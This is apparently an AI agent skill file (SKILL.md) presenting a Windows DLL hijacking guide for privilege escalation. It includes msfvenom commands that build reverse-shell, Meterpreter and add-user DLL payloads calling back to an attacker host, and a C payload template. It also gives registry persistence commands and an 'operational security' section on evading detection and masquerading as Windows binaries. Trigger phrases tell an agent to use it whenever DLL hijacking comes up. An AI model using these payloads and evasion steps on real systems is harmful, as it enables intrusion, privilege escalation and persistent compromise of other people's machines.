Hacktricks-skills windows-dll-hijacking
Windows DLL hijacking for privilege escalation and code execution. Use this skill whenever the user mentions DLL hijacking, DLL sideloading, DLL search order, phantom DLL, missing DLL exploitation, Windows privilege escalation via DLLs, or any scenario involving manipulating trusted applications to load malicious DLLs. Also trigger for Narrator hijacking, MSI dropper analysis, signed binary abuse, or when investigating DLL-related vulnerabilities on Windows systems.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/windows-hardening/windows-local-privilege-escalation/dll-hijacking/dll-hijacking/SKILL.MDWindows DLL Hijacking Skill
A comprehensive guide for performing DLL hijacking attacks on Windows systems for privilege escalation and code execution.
Quick Start
- Find missing DLLs using ProcMon filters
- Verify write permissions on target directories
- Create a malicious DLL with appropriate exports
- Deploy and trigger the hijack
Finding Missing DLLs
Using ProcMon (Process Monitor)
The most reliable method to discover DLL hijacking opportunities:
- Download ProcMon from Sysinternals
- Apply these filters:
→Process Name
→is<target executable>
→Path
→ends with.dll
→Result
→isNAME NOT FOUND
- Run the target application and capture events
- Look for DLLs that the process attempts to load but cannot find
Automated Discovery Tools
- WinPEAS: Checks write permissions on folders in system PATH
- PowerSploit functions:
- Find processes with missing DLLsFind-ProcessDLLHijack
- Find writable paths in DLL search orderFind-PathDLLHijack
- Generate a hijack DLLWrite-HijackDll
DLL Search Order (Windows)
Understanding the search order is critical for successful hijacking:
- Directory from which the application loaded
- System directory (
)C:\Windows\System32 - 16-bit system directory (
)C:\Windows\System - Windows directory (
)C:\Windows - Current directory
- Directories in PATH environment variable
Important notes:
is enabled by default (current directory is #5)SafeDllSearchMode- Known DLLs (in registry) bypass the search
- DLLs loaded with absolute paths cannot be hijacked
- Dependencies are searched by name only, regardless of how the parent was loaded
Exploitation Scenarios
Scenario 1: Phantom DLL Hijacking
When a process looks for a DLL that doesn't exist anywhere:
- Identify the missing DLL name from ProcMon
- Verify you can write to a directory in the search order
- Create a DLL with that name
- Place it in the highest-priority writable directory
- Trigger the process to load it
Scenario 2: DLL Replacement
When a DLL exists but you can place a malicious one first:
- Find a DLL the process loads from a writable location
- Create a proxy DLL that forwards calls to the real DLL
- Replace or place your DLL in a higher-priority location
- Use tools like DLLirant or Spartacus for proxying
Scenario 3: Scheduled Task Hijacking
For processes that run on a schedule:
- Find a scheduled task/service that loads a missing DLL
- Place your malicious DLL in the application directory
- Wait for the task to execute (or trigger it manually)
- Code executes under the task's context
Creating Malicious DLLs
Using Metasploit (Quick Payloads)
# Reverse shell (x64) msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=4444 -f dll -o payload.dll # Meterpreter (x86) msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=4444 -f dll -o payload.dll # Add user (x86) msfvenom -p windows/adduser USER=<name> PASS=<password> -f dll -o payload.dll
Custom C DLL Template
#include <windows.h> BOOL WINAPI DllMain(HANDLE hDll, DWORD dwReason, LPVOID lpReserved) { if (dwReason == DLL_PROCESS_ATTACH) { // Your payload here system("whoami > C:\\users\\<user>\\output.txt"); // Or use WinExec for more control // WinExec("calc.exe", SW_HIDE); } return TRUE; }
Compilation:
- x64:
x86_64-w64-mingw32-gcc -shared -o output.dll source.c - x86:
i686-w64-mingw32-gcc -shared -o output.dll source.c
DLL Proxying
When the target DLL requires specific exports:
- Use DLLirant or Spartacus
- Specify the target executable and library to proxy
- The tool generates a DLL that:
- Executes your payload on load
- Forwards all required function calls to the real DLL
Permission Checking
Check folder permissions
# Using accesschk accesschk.exe -dqv "C:\path\to\folder" # Using icacls icacls "C:\path\to\folder"
Check all PATH directories
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :" | findstr /i ":\\ everyone authenticated users todos %username%" echo. )
Check DLL imports/exports
# Check what a binary imports dumpbin /imports C:\path\to\binary.exe # Check what a DLL exports dumpbin /exports C:\path\to\library.dll
Case Studies
Narrator OneCore TTS Hijack
Windows Narrator loads a language-specific DLL that can be hijacked:
- Target path:
%windir%\System32\speech_onecore\engines\tts\msttsloc_onecoreenus.dll - No exports required - DllMain executes on load
- Trigger: Start Narrator (Win+Ctrl+Enter on secure desktop)
- Privilege: SYSTEM on secure desktop
Persistence via registry:
# User context reg add "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Accessibility" /v configuration /t REG_SZ /d "Narrator" /f # SYSTEM context (requires admin) reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility" /v configuration /t REG_SZ /d "Narrator" /f
MSI CustomAction + DLL Side-Loading
Threat actors use MSI droppers to stage signed binaries with malicious DLLs:
- MSI CustomAction extracts and drops files during installation
- Signed EXE (e.g.,
) is placed with malicious DLL (wsc_proxy.exe
)wsc.dll - When EXE runs, it loads the DLL from the same directory first
- Code executes under the signed process's identity
Analysis steps:
- Use Orca to inspect CustomAction, InstallExecuteSequence, and Binary tables
- Extract CAB contents:
msiexec /a package.msi /qb TARGETDIR=C:\out - Look for VBScript actions that concatenate/decrypt payloads
Phantom DLL in Scheduled Tasks
Example: Lenovo TPQMAssistant.exe (CVE-2025-1729)
- Location:
C:\ProgramData\Lenovo\TPQM\Assistant\ - Missing DLL:
hostfxr.dll - Trigger: Daily scheduled task at 9:30 AM
- Write access: CREATOR OWNER (local users can write)
- Result: Code execution under logged-on user context
Advanced Techniques
Forcing DLL Search Path via RTL_USER_PROCESS_PARAMETERS
For advanced scenarios, you can manipulate the DLL search path when creating a process:
- Use
to set customRtlCreateProcessParametersExDllPath - Create process with
RtlCreateUserProcess - Target binary will resolve DLLs from your specified directory
See the bundled script
force_dllpath.c for a complete example.
Bring Your Own Accessibility (BYOA)
Clone an existing Accessibility Tool registry entry:
- Copy an existing AT entry (e.g., CursorIndicator)
- Modify to point to your binary/DLL
- Set
registry value to your AT nameconfiguration - Triggers under Accessibility framework with elevated privileges
Operational Security
- Silent execution: Suspend the target process's main thread before executing payload
- Cleanup: Delete temporary files after loading (e.g., encrypted blobs)
- Masquerading: Rename signed EXEs to look like Windows binaries (keep OriginalFileName in PE header)
- Process creation: Use WMI/CIM to create processes, hiding parent relationship
References
Scripts
This skill includes helper scripts:
- Check write permissions on PATH directoriescheck_dll_permissions.sh
- Generate a basic DLL payloadgenerate_dll_payload.sh
- ProcMon filter configurationprocmon_filter_template.txt
- C example for forcing DLL search pathforce_dllpath.c
Run these scripts from the
scripts/ directory or reference them in your workflow.